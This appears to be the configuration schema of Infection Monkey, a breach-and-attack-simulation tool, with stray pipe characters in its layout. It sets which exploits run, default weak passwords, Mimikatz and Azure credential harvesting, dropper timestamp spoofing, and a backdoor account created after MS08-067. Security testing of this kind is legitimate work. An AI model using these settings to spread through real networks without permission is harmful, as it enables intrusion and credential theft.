__author__ = "itay.mizeretz"
|
__author__ = "itay.mizeretz"
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
WARNING_SIGN = u" \u26A0"
|
|
||||||
|
|
||||||
SCHEMA = {
|
|
||||||
"title": "Monkey",
|
|
||||||
"type": "object",
|
|
||||||
"definitions": {
|
|
||||||
"exploiter_classes": {
|
|
||||||
"title": "Exploit class",
|
|
||||||
"type": "string",
|
|
||||||
"anyOf": [
|
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": [
|
|
||||||
"SmbExploiter"
|
|
||||||
],
|
|
||||||
"title": "SMB Exploiter"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": [
|
|
||||||
"WmiExploiter"
|
|
||||||
],
|
|
||||||
"title": "WMI Exploiter"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": [
|
|
||||||
"RdpExploiter"
|
|
||||||
],
|
|
||||||
"title": "RDP Exploiter (UNSAFE)"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": [
|
|
||||||
"Ms08_067_Exploiter"
|
|
||||||
],
|
|
||||||
"title": "MS08-067 Exploiter (UNSAFE)"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": [
|
|
||||||
"SSHExploiter"
|
|
||||||
],
|
|
||||||
"title": "SSH Exploiter"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": [
|
|
||||||
"ShellShockExploiter"
|
|
||||||
],
|
|
||||||
"title": "ShellShock Exploiter"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": [
|
|
||||||
"SambaCryExploiter"
|
|
||||||
],
|
|
||||||
"title": "SambaCry Exploiter"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": [
|
|
||||||
"ElasticGroovyExploiter"
|
|
||||||
],
|
|
||||||
"title": "ElasticGroovy Exploiter"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": [
|
|
||||||
"Struts2Exploiter"
|
|
||||||
],
|
|
||||||
"title": "Struts2 Exploiter"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": [
|
|
||||||
"WebLogicExploiter"
|
|
||||||
],
|
|
||||||
"title": "Oracle Web Logic Exploiter"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": [
|
|
||||||
"HadoopExploiter"
|
|
||||||
],
|
|
||||||
"title": "Hadoop/Yarn Exploiter"
|
|
||||||
}
|
|
||||||
]
|
|
||||||
},
|
|
||||||
"finger_classes": {
|
|
||||||
"title": "Fingerprint class",
|
|
||||||
"type": "string",
|
|
||||||
"anyOf": [
|
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": [
|
|
||||||
"SMBFinger"
|
|
||||||
],
|
|
||||||
"title": "SMBFinger"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": [
|
|
||||||
"SSHFinger"
|
|
||||||
],
|
|
||||||
"title": "SSHFinger"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": [
|
|
||||||
"PingScanner"
|
|
||||||
],
|
|
||||||
"title": "PingScanner"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": [
|
|
||||||
"HTTPFinger"
|
|
||||||
],
|
|
||||||
"title": "HTTPFinger"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": [
|
|
||||||
"MySQLFinger"
|
|
||||||
],
|
|
||||||
"title": "MySQLFinger"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": [
|
|
||||||
"MSSQLFinger"
|
|
||||||
],
|
|
||||||
"title": "MSSQLFinger"
|
|
||||||
},
|
|
||||||
|
|
||||||
{
|
|
||||||
"type": "string",
|
|
||||||
"enum": [
|
|
||||||
"ElasticFinger"
|
|
||||||
],
|
|
||||||
"title": "ElasticFinger"
|
|
||||||
}
|
|
||||||
]
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"properties": {
|
|
||||||
"basic": {
|
|
||||||
"title": "Basic - Credentials",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"credentials": {
|
|
||||||
"title": "Credentials",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"exploit_user_list": {
|
|
||||||
"title": "Exploit user list",
|
|
||||||
"type": "array",
|
|
||||||
"uniqueItems": True,
|
|
||||||
"items": {
|
|
||||||
"type": "string"
|
|
||||||
},
|
|
||||||
"default": [
|
|
||||||
"Administrator",
|
|
||||||
"root",
|
|
||||||
"user"
|
|
||||||
],
|
|
||||||
"description": "List of usernames to use on exploits using credentials"
|
|
||||||
},
|
|
||||||
"exploit_password_list": {
|
|
||||||
"title": "Exploit password list",
|
|
||||||
"type": "array",
|
|
||||||
"uniqueItems": True,
|
|
||||||
"items": {
|
|
||||||
"type": "string"
|
|
||||||
},
|
|
||||||
"default": [
|
|
||||||
"Password1!",
|
|
||||||
"1234",
|
|
||||||
"password",
|
|
||||||
"12345678"
|
|
||||||
],
|
|
||||||
"description": "List of password to use on exploits using credentials"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"basic_network": {
|
|
||||||
"title": "Basic - Network",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"general": {
|
|
||||||
"title": "General",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"blocked_ips": {
|
|
||||||
"title": "Blocked IPs",
|
|
||||||
"type": "array",
|
|
||||||
"uniqueItems": True,
|
|
||||||
"items": {
|
|
||||||
"type": "string"
|
|
||||||
},
|
|
||||||
"default": [
|
|
||||||
],
|
|
||||||
"description": "List of IPs to not scan"
|
|
||||||
},
|
|
||||||
"local_network_scan": {
|
|
||||||
"title": "Local network scan",
|
|
||||||
"type": "boolean",
|
|
||||||
"default": True,
|
|
||||||
"description": "Determines whether the monkey should scan its subnets additionally"
|
|
||||||
},
|
|
||||||
"depth": {
|
|
||||||
"title": "Distance from island",
|
|
||||||
"type": "integer",
|
|
||||||
"default": 2,
|
|
||||||
"description":
|
|
||||||
"Amount of hops allowed for the monkey to spread from the island. "
|
|
||||||
+ WARNING_SIGN
|
|
||||||
+ " Note that setting this value too high may result in the monkey propagating too far"
|
|
||||||
},
|
|
||||||
"subnet_scan_list": {
|
|
||||||
"title": "Scan IP/subnet list",
|
|
||||||
"type": "array",
|
|
||||||
"uniqueItems": True,
|
|
||||||
"items": {
|
|
||||||
"type": "string"
|
|
||||||
},
|
|
||||||
"default": [
|
|
||||||
],
|
|
||||||
"description":
|
|
||||||
"List of IPs/subnets the monkey should scan."
|
|
||||||
" Examples: \"192.168.0.1\", \"192.168.0.5-192.168.0.20\", \"192.168.0.5/24\""
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"network_analysis": {
|
|
||||||
"title": "Network Analysis",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"inaccessible_subnets": {
|
|
||||||
"title": "Network segmentation testing",
|
|
||||||
"type": "array",
|
|
||||||
"uniqueItems": True,
|
|
||||||
"items": {
|
|
||||||
"type": "string"
|
|
||||||
},
|
|
||||||
"default": [
|
|
||||||
],
|
|
||||||
"description":
|
|
||||||
"Test for network segmentation by providing a list of"
|
|
||||||
" subnets that should NOT be accessible to each other."
|
|
||||||
" For example, given the following configuration:"
|
|
||||||
" '10.0.0.0/24, 11.0.0.2/32, 12.2.3.0/24'"
|
|
||||||
" a Monkey running on 10.0.0.5 will try to access machines in the following"
|
|
||||||
" subnets: 11.0.0.2/32, 12.2.3.0/24."
|
|
||||||
" An alert on successful connections will be shown in the report"
|
|
||||||
" Additional subnet formats include: 13.0.0.1, 13.0.0.1-13.0.0.5"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"monkey": {
|
|
||||||
"title": "Monkey",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"general": {
|
|
||||||
"title": "General",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"alive": {
|
|
||||||
"title": "Alive",
|
|
||||||
"type": "boolean",
|
|
||||||
"default": True,
|
|
||||||
"description": "Is the monkey alive"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"behaviour": {
|
|
||||||
"title": "Behaviour",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"self_delete_in_cleanup": {
|
|
||||||
"title": "Self delete on cleanup",
|
|
||||||
"type": "boolean",
|
|
||||||
"default": False,
|
|
||||||
"description": "Should the monkey delete its executable when going down"
|
|
||||||
},
|
|
||||||
"use_file_logging": {
|
|
||||||
"title": "Use file logging",
|
|
||||||
"type": "boolean",
|
|
||||||
"default": True,
|
|
||||||
"description": "Should the monkey dump to a log file"
|
|
||||||
},
|
|
||||||
"serialize_config": {
|
|
||||||
"title": "Serialize config",
|
|
||||||
"type": "boolean",
|
|
||||||
"default": False,
|
|
||||||
"description": "Should the monkey dump its config on startup"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"system_info": {
|
|
||||||
"title": "System info",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"extract_azure_creds": {
|
|
||||||
"title": "Harvest Azure Credentials",
|
|
||||||
"type": "boolean",
|
|
||||||
"default": True,
|
|
||||||
"description":
|
|
||||||
"Determine if the Monkey should try to harvest password credentials from Azure VMs"
|
|
||||||
},
|
|
||||||
"collect_system_info": {
|
|
||||||
"title": "Collect system info",
|
|
||||||
"type": "boolean",
|
|
||||||
"default": True,
|
|
||||||
"description": "Determines whether to collect system info"
|
|
||||||
},
|
|
||||||
"should_use_mimikatz": {
|
|
||||||
"title": "Should use Mimikatz",
|
|
||||||
"type": "boolean",
|
|
||||||
"default": True,
|
|
||||||
"description": "Determines whether to use Mimikatz"
|
|
||||||
},
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"life_cycle": {
|
|
||||||
"title": "Life cycle",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"max_iterations": {
|
|
||||||
"title": "Max iterations",
|
|
||||||
"type": "integer",
|
|
||||||
"default": 1,
|
|
||||||
"description": "Determines how many iterations of the monkey's full lifecycle should occur"
|
|
||||||
},
|
|
||||||
"victims_max_find": {
|
|
||||||
"title": "Max victims to find",
|
|
||||||
"type": "integer",
|
|
||||||
"default": 30,
|
|
||||||
"description": "Determines the maximum number of machines the monkey is allowed to scan"
|
|
||||||
},
|
|
||||||
"victims_max_exploit": {
|
|
||||||
"title": "Max victims to exploit",
|
|
||||||
"type": "integer",
|
|
||||||
"default": 7,
|
|
||||||
"description":
|
|
||||||
"Determines the maximum number of machines the monkey"
|
|
||||||
" is allowed to successfully exploit. " + WARNING_SIGN
|
|
||||||
+ " Note that setting this value too high may result in the monkey propagating to "
|
|
||||||
"a high number of machines"
|
|
||||||
},
|
|
||||||
"timeout_between_iterations": {
|
|
||||||
"title": "Wait time between iterations",
|
|
||||||
"type": "integer",
|
|
||||||
"default": 100,
|
|
||||||
"description":
|
|
||||||
"Determines for how long (in seconds) should the monkey wait between iterations"
|
|
||||||
},
|
|
||||||
"retry_failed_explotation": {
|
|
||||||
"title": "Retry failed exploitation",
|
|
||||||
"type": "boolean",
|
|
||||||
"default": True,
|
|
||||||
"description":
|
|
||||||
"Determines whether the monkey should retry exploiting machines"
|
|
||||||
" it didn't successfuly exploit on previous iterations"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"internal": {
|
|
||||||
"title": "Internal",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"general": {
|
|
||||||
"title": "General",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"singleton_mutex_name": {
|
|
||||||
"title": "Singleton mutex name",
|
|
||||||
"type": "string",
|
|
||||||
"default": "{2384ec59-0df8-4ab9-918c-843740924a28}",
|
|
||||||
"description":
|
|
||||||
"The name of the mutex used to determine whether the monkey is already running"
|
|
||||||
},
|
|
||||||
"keep_tunnel_open_time": {
|
|
||||||
"title": "Keep tunnel open time",
|
|
||||||
"type": "integer",
|
|
||||||
"default": 60,
|
|
||||||
"description": "Time to keep tunnel open before going down after last exploit (in seconds)"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"classes": {
|
|
||||||
"title": "Classes",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"scanner_class": {
|
|
||||||
"title": "Scanner class",
|
|
||||||
"type": "string",
|
|
||||||
"default": "TcpScanner",
|
|
||||||
"enum": [
|
|
||||||
"TcpScanner"
|
|
||||||
],
|
|
||||||
"enumNames": [
|
|
||||||
"TcpScanner"
|
|
||||||
],
|
|
||||||
"description": "Determines class to scan for machines. (Shouldn't be changed)"
|
|
||||||
},
|
|
||||||
"finger_classes": {
|
|
||||||
"title": "Fingerprint classes",
|
|
||||||
"type": "array",
|
|
||||||
"uniqueItems": True,
|
|
||||||
"items": {
|
|
||||||
"$ref": "#/definitions/finger_classes"
|
|
||||||
},
|
|
||||||
"default": [
|
|
||||||
"SMBFinger",
|
|
||||||
"SSHFinger",
|
|
||||||
"PingScanner",
|
|
||||||
"HTTPFinger",
|
|
||||||
"MySQLFinger",
|
|
||||||
"MSSQLFinger",
|
|
||||||
"ElasticFinger"
|
|
||||||
],
|
|
||||||
"description": "Determines which classes to use for fingerprinting"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"kill_file": {
|
|
||||||
"title": "Kill file",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"kill_file_path_windows": {
|
|
||||||
"title": "Kill file path on Windows",
|
|
||||||
"type": "string",
|
|
||||||
"default": "%windir%\\monkey.not",
|
|
||||||
"description": "Path of file which kills monkey if it exists (on Windows)"
|
|
||||||
},
|
|
||||||
"kill_file_path_linux": {
|
|
||||||
"title": "Kill file path on Linux",
|
|
||||||
"type": "string",
|
|
||||||
"default": "/var/run/monkey.not",
|
|
||||||
"description": "Path of file which kills monkey if it exists (on Linux)"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"dropper": {
|
|
||||||
"title": "Dropper",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"dropper_set_date": {
|
|
||||||
"title": "Dropper sets date",
|
|
||||||
"type": "boolean",
|
|
||||||
"default": True,
|
|
||||||
"description":
|
|
||||||
"Determines whether the dropper should set the monkey's file date to be the same as"
|
|
||||||
" another file"
|
|
||||||
},
|
|
||||||
"dropper_date_reference_path_windows": {
|
|
||||||
"title": "Dropper date reference path (Windows)",
|
|
||||||
"type": "string",
|
|
||||||
"default": "%windir%\\system32\\kernel32.dll",
|
|
||||||
"description":
|
|
||||||
"Determines which file the dropper should copy the date from if it's configured to do"
|
|
||||||
" so on Windows (use fullpath)"
|
|
||||||
},
|
|
||||||
"dropper_date_reference_path_linux": {
|
|
||||||
"title": "Dropper date reference path (Linux)",
|
|
||||||
"type": "string",
|
|
||||||
"default": "/bin/sh",
|
|
||||||
"description":
|
|
||||||
"Determines which file the dropper should copy the date from if it's configured to do"
|
|
||||||
" so on Linux (use fullpath)"
|
|
||||||
},
|
|
||||||
"dropper_target_path_linux": {
|
|
||||||
"title": "Dropper target path on Linux",
|
|
||||||
"type": "string",
|
|
||||||
"default": "/tmp/monkey",
|
|
||||||
"description": "Determines where should the dropper place the monkey on a Linux machine"
|
|
||||||
},
|
|
||||||
"dropper_target_path_win_32": {
|
|
||||||
"title": "Dropper target path on Windows (32bit)",
|
|
||||||
"type": "string",
|
|
||||||
"default": "C:\\Windows\\monkey32.exe",
|
|
||||||
"description": "Determines where should the dropper place the monkey on a Windows machine "
|
|
||||||
"(32bit)"
|
|
||||||
},
|
|
||||||
"dropper_target_path_win_64": {
|
|
||||||
"title": "Dropper target path on Windows (64bit)",
|
|
||||||
"type": "string",
|
|
||||||
"default": "C:\\Windows\\monkey64.exe",
|
|
||||||
"description": "Determines where should the dropper place the monkey on a Windows machine "
|
|
||||||
"(64 bit)"
|
|
||||||
},
|
|
||||||
"dropper_try_move_first": {
|
|
||||||
"title": "Try to move first",
|
|
||||||
"type": "boolean",
|
|
||||||
"default": True,
|
|
||||||
"description":
|
|
||||||
"Determines whether the dropper should try to move itsel instead of copying itself"
|
|
||||||
" to target path"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"logging": {
|
|
||||||
"title": "Logging",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"dropper_log_path_linux": {
|
|
||||||
"title": "Dropper log file path on Linux",
|
|
||||||
"type": "string",
|
|
||||||
"default": "/tmp/user-1562",
|
|
||||||
"description": "The fullpath of the dropper log file on Linux"
|
|
||||||
},
|
|
||||||
"dropper_log_path_windows": {
|
|
||||||
"title": "Dropper log file path on Windows",
|
|
||||||
"type": "string",
|
|
||||||
"default": "%temp%\\~df1562.tmp",
|
|
||||||
"description": "The fullpath of the dropper log file on Windows"
|
|
||||||
},
|
|
||||||
"monkey_log_path_linux": {
|
|
||||||
"title": "Monkey log file path on Linux",
|
|
||||||
"type": "string",
|
|
||||||
"default": "/tmp/user-1563",
|
|
||||||
"description": "The fullpath of the monkey log file on Linux"
|
|
||||||
},
|
|
||||||
"monkey_log_path_windows": {
|
|
||||||
"title": "Monkey log file path on Windows",
|
|
||||||
"type": "string",
|
|
||||||
"default": "%temp%\\~df1563.tmp",
|
|
||||||
"description": "The fullpath of the monkey log file on Windows"
|
|
||||||
},
|
|
||||||
"send_log_to_server": {
|
|
||||||
"title": "Send log to server",
|
|
||||||
"type": "boolean",
|
|
||||||
"default": True,
|
|
||||||
"description": "Determines whether the monkey sends its log to the Monkey Island server"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"exploits": {
|
|
||||||
"title": "Exploits",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"exploit_lm_hash_list": {
|
|
||||||
"title": "Exploit LM hash list",
|
|
||||||
"type": "array",
|
|
||||||
"uniqueItems": True,
|
|
||||||
"items": {
|
|
||||||
"type": "string"
|
|
||||||
},
|
|
||||||
"default": [],
|
|
||||||
"description": "List of LM hashes to use on exploits using credentials"
|
|
||||||
},
|
|
||||||
"exploit_ntlm_hash_list": {
|
|
||||||
"title": "Exploit NTLM hash list",
|
|
||||||
"type": "array",
|
|
||||||
"uniqueItems": True,
|
|
||||||
"items": {
|
|
||||||
"type": "string"
|
|
||||||
},
|
|
||||||
"default": [],
|
|
||||||
"description": "List of NTLM hashes to use on exploits using credentials"
|
|
||||||
},
|
|
||||||
"exploit_ssh_keys": {
|
|
||||||
"title": "SSH key pairs list",
|
|
||||||
"type": "array",
|
|
||||||
"uniqueItems": True,
|
|
||||||
"default": [],
|
|
||||||
"items": {
|
|
||||||
"type": "string"
|
|
||||||
},
|
|
||||||
"description": "List of SSH key pairs to use, when trying to ssh into servers"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"cnc": {
|
|
||||||
"title": "Monkey Island",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"servers": {
|
|
||||||
"title": "Servers",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"command_servers": {
|
|
||||||
"title": "Command servers",
|
|
||||||
"type": "array",
|
|
||||||
"uniqueItems": True,
|
|
||||||
"items": {
|
|
||||||
"type": "string"
|
|
||||||
},
|
|
||||||
"default": [
|
|
||||||
"192.0.2.0:5000"
|
|
||||||
],
|
|
||||||
"description": "List of command servers to try and communicate with (format is <ip>:<port>)"
|
|
||||||
},
|
|
||||||
"internet_services": {
|
|
||||||
"title": "Internet services",
|
|
||||||
"type": "array",
|
|
||||||
"uniqueItems": True,
|
|
||||||
"items": {
|
|
||||||
"type": "string"
|
|
||||||
},
|
|
||||||
"default": [
|
|
||||||
"monkey.guardicore.com",
|
|
||||||
"www.google.com"
|
|
||||||
],
|
|
||||||
"description":
|
|
||||||
"List of internet services to try and communicate with to determine internet"
|
|
||||||
" connectivity (use either ip or domain)"
|
|
||||||
},
|
|
||||||
"current_server": {
|
|
||||||
"title": "Current server",
|
|
||||||
"type": "string",
|
|
||||||
"default": "192.0.2.0:5000",
|
|
||||||
"description": "The current command server the monkey is communicating with"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
'aws_config': {
|
|
||||||
'title': 'AWS Configuration',
|
|
||||||
'type': 'object',
|
|
||||||
'description': 'These credentials will be used in order to export the monkey\'s findings to the AWS Security Hub.',
|
|
||||||
'properties': {
|
|
||||||
'aws_account_id': {
|
|
||||||
'title': 'AWS account ID',
|
|
||||||
'type': 'string',
|
|
||||||
'description': 'Your AWS account ID that is subscribed to security hub feeds',
|
|
||||||
'default': ""
|
|
||||||
},
|
|
||||||
'aws_access_key_id': {
|
|
||||||
'title': 'AWS access key ID',
|
|
||||||
'type': 'string',
|
|
||||||
'description': 'Your AWS public access key ID, can be found in the IAM user interface in the AWS console.',
|
|
||||||
'default': ""
|
|
||||||
},
|
|
||||||
'aws_secret_access_key': {
|
|
||||||
'title': 'AWS secret access key',
|
|
||||||
'type': 'string',
|
|
||||||
'description': 'Your AWS secret access key id, you can get this after creating a public access key in the console.',
|
|
||||||
'default': ""
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"exploits": {
|
|
||||||
"title": "Exploits",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"general": {
|
|
||||||
"title": "General",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"exploiter_classes": {
|
|
||||||
"title": "Exploits",
|
|
||||||
"type": "array",
|
|
||||||
"uniqueItems": True,
|
|
||||||
"items": {
|
|
||||||
"$ref": "#/definitions/exploiter_classes"
|
|
||||||
},
|
|
||||||
"default": [
|
|
||||||
"SmbExploiter",
|
|
||||||
"WmiExploiter",
|
|
||||||
"SSHExploiter",
|
|
||||||
"ShellShockExploiter",
|
|
||||||
"SambaCryExploiter",
|
|
||||||
"ElasticGroovyExploiter",
|
|
||||||
"Struts2Exploiter",
|
|
||||||
"WebLogicExploiter",
|
|
||||||
"HadoopExploiter"
|
|
||||||
],
|
|
||||||
"description":
|
|
||||||
"Determines which exploits to use. " + WARNING_SIGN
|
|
||||||
+ " Note that using unsafe exploits may cause crashes of the exploited machine/service"
|
|
||||||
},
|
|
||||||
"skip_exploit_if_file_exist": {
|
|
||||||
"title": "Skip exploit if file exists",
|
|
||||||
"type": "boolean",
|
|
||||||
"default": False,
|
|
||||||
"description": "Determines whether the monkey should skip the exploit if the monkey's file"
|
|
||||||
" is already on the remote machine"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"ms08_067": {
|
|
||||||
"title": "MS08_067",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"ms08_067_exploit_attempts": {
|
|
||||||
"title": "MS08_067 exploit attempts",
|
|
||||||
"type": "integer",
|
|
||||||
"default": 5,
|
|
||||||
"description": "Number of attempts to exploit using MS08_067"
|
|
||||||
},
|
|
||||||
"ms08_067_remote_user_add": {
|
|
||||||
"title": "MS08_067 remote user",
|
|
||||||
"type": "string",
|
|
||||||
"default": "Monkey_IUSER_SUPPORT",
|
|
||||||
"description": "Username to add on successful exploit"
|
|
||||||
},
|
|
||||||
"ms08_067_remote_user_pass": {
|
|
||||||
"title": "MS08_067 remote user password",
|
|
||||||
"type": "string",
|
|
||||||
"default": "Password1!",
|
|
||||||
"description": "Password to use for created user"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"rdp_grinder": {
|
|
||||||
"title": "RDP grinder",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"rdp_use_vbs_download": {
|
|
||||||
"title": "Use VBS download",
|
|
||||||
"type": "boolean",
|
|
||||||
"default": True,
|
|
||||||
"description": "Determines whether to use VBS or BITS to download monkey to remote machine"
|
|
||||||
" (true=VBS, false=BITS)"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"sambacry": {
|
|
||||||
"title": "SambaCry",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"sambacry_trigger_timeout": {
|
|
||||||
"title": "SambaCry trigger timeout",
|
|
||||||
"type": "integer",
|
|
||||||
"default": 5,
|
|
||||||
"description": "Timeout (in seconds) of SambaCry trigger"
|
|
||||||
},
|
|
||||||
"sambacry_folder_paths_to_guess": {
|
|
||||||
"title": "SambaCry folder paths to guess",
|
|
||||||
"type": "array",
|
|
||||||
"uniqueItems": True,
|
|
||||||
"items": {
|
|
||||||
"type": "string"
|
|
||||||
},
|
|
||||||
"default": [
|
|
||||||
'/',
|
|
||||||
'/mnt',
|
|
||||||
'/tmp',
|
|
||||||
'/storage',
|
|
||||||
'/export',
|
|
||||||
'/share',
|
|
||||||
'/shares',
|
|
||||||
'/home'
|
|
||||||
],
|
|
||||||
"description": "List of full paths to share folder for SambaCry to guess"
|
|
||||||
},
|
|
||||||
"sambacry_shares_not_to_check": {
|
|
||||||
"title": "SambaCry shares not to check",
|
|
||||||
"type": "array",
|
|
||||||
"uniqueItems": True,
|
|
||||||
"items": {
|
|
||||||
"type": "string"
|
|
||||||
},
|
|
||||||
"default": [
|
|
||||||
"IPC$", "print$"
|
|
||||||
],
|
|
||||||
"description": "These shares won't be checked when exploiting with SambaCry"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"smb_service": {
|
|
||||||
"title": "SMB service",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"smb_download_timeout": {
|
|
||||||
"title": "SMB download timeout",
|
|
||||||
"type": "integer",
|
|
||||||
"default": 300,
|
|
||||||
"description":
|
|
||||||
"Timeout (in seconds) for SMB download operation (used in various exploits using SMB)"
|
|
||||||
},
|
|
||||||
"smb_service_name": {
|
|
||||||
"title": "SMB service name",
|
|
||||||
"type": "string",
|
|
||||||
"default": "InfectionMonkey",
|
|
||||||
"description": "Name of the SMB service that will be set up to download monkey"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"network": {
|
|
||||||
"title": "Network",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"tcp_scanner": {
|
|
||||||
"title": "TCP scanner",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"HTTP_PORTS": {
|
|
||||||
"title": "HTTP ports",
|
|
||||||
"type": "array",
|
|
||||||
"uniqueItems": True,
|
|
||||||
"items": {
|
|
||||||
"type": "integer"
|
|
||||||
},
|
|
||||||
"default": [
|
|
||||||
80,
|
|
||||||
8080,
|
|
||||||
443,
|
|
||||||
8008,
|
|
||||||
7001
|
|
||||||
],
|
|
||||||
"description": "List of ports the monkey will check if are being used for HTTP"
|
|
||||||
},
|
|
||||||
"tcp_target_ports": {
|
|
||||||
"title": "TCP target ports",
|
|
||||||
"type": "array",
|
|
||||||
"uniqueItems": True,
|
|
||||||
"items": {
|
|
||||||
"type": "integer"
|
|
||||||
},
|
|
||||||
"default": [
|
|
||||||
22,
|
|
||||||
2222,
|
|
||||||
445,
|
|
||||||
135,
|
|
||||||
3389,
|
|
||||||
80,
|
|
||||||
8080,
|
|
||||||
443,
|
|
||||||
8008,
|
|
||||||
3306,
|
|
||||||
9200,
|
|
||||||
7001
|
|
||||||
],
|
|
||||||
"description": "List of TCP ports the monkey will check whether they're open"
|
|
||||||
},
|
|
||||||
"tcp_scan_interval": {
|
|
||||||
"title": "TCP scan interval",
|
|
||||||
"type": "integer",
|
|
||||||
"default": 200,
|
|
||||||
"description": "Time to sleep (in milliseconds) between scans"
|
|
||||||
},
|
|
||||||
"tcp_scan_timeout": {
|
|
||||||
"title": "TCP scan timeout",
|
|
||||||
"type": "integer",
|
|
||||||
"default": 3000,
|
|
||||||
"description": "Maximum time (in milliseconds) to wait for TCP response"
|
|
||||||
},
|
|
||||||
"tcp_scan_get_banner": {
|
|
||||||
"title": "TCP scan - get banner",
|
|
||||||
"type": "boolean",
|
|
||||||
"default": True,
|
|
||||||
"description": "Determines whether the TCP scan should try to get the banner"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"ping_scanner": {
|
|
||||||
"title": "Ping scanner",
|
|
||||||
"type": "object",
|
|
||||||
"properties": {
|
|
||||||
"ping_scan_timeout": {
|
|
||||||
"title": "Ping scan timeout",
|
|
||||||
"type": "integer",
|
|
||||||
"default": 1000,
|
|
||||||
"description": "Maximum time (in milliseconds) to wait for ping response"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
},
|
|
||||||
},
|
|
||||||
"options": {
|
|
||||||
"collapsed": True
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
# This should be used for config values of array type (array of strings only)
|
# This should be used for config values of array type (array of strings only)
|
||||||
ENCRYPTED_CONFIG_ARRAYS = \
|
